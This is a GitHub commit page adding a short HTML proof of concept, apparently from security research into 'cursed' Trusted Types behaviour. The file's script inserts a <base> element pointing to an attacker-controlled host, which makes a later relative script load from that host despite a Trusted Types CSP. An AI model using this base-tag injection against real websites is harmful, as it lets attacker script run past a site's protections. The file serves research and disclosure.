Skip to content

Commit

Permalink
Create base.html
Browse files Browse the repository at this point in the history
  • Loading branch information
shhnjk authored Apr 15, 2024
1 parent 63e267b commit b813d17
Showing 1 changed file with 16 additions and 0 deletions.
16 changes: 16 additions & 0 deletions PoCs/cursed_types/base.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'; trusted-types 'none';">
</head>
<body>
<script>
let attackerControlledString = 'https://attack.shhnjk.com/';
const base = document.createElement('base');
base.href = attackerControlledString;
document.head.appendChild(base);
</script>
<script src="/foo.js"></script> <!-- Fire! -->
</body>
</html>

0 comments on commit b813d17

Please sign in to comment.